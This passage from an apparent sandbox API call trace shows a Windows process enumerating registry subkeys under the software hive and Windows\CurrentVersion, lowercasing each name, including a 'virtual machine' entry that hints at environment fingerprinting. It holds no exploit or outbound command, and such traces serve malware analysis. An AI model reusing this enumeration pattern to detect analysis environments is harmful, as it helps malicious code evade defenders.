cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x1d7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0x1d7b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0x1d7b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0x1d7b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0x1d7b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0031.255] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0x1d7b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0031.256] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0031.256] RegCloseKey (hKey=0x34) returned 0x0 [0031.256] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x1d7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0031.256] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0031.256] RegCloseKey (hKey=0x90) returned 0x0 [0031.256] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0031.256] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1d7b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0031.256] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1d7b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0031.256] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1d7b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1d7b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1d7b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1d7b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1d7b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x1d7c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1d7b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1d7b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x1d7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0031.257] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1d7b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0031.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1d7b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x1d7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1d7b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1d7b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x1d7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1d7b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1d7b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x1d7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1d7b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0031.258] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1d7b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0031.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1d7b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1d7b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1d7b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1d7b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x1d7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1d7b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1d7b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1d7b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0031.259] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1d7b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1d7b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x1d7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1d7b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1d7b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1d7b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x1d7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1d7b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x1d7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1d7b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, 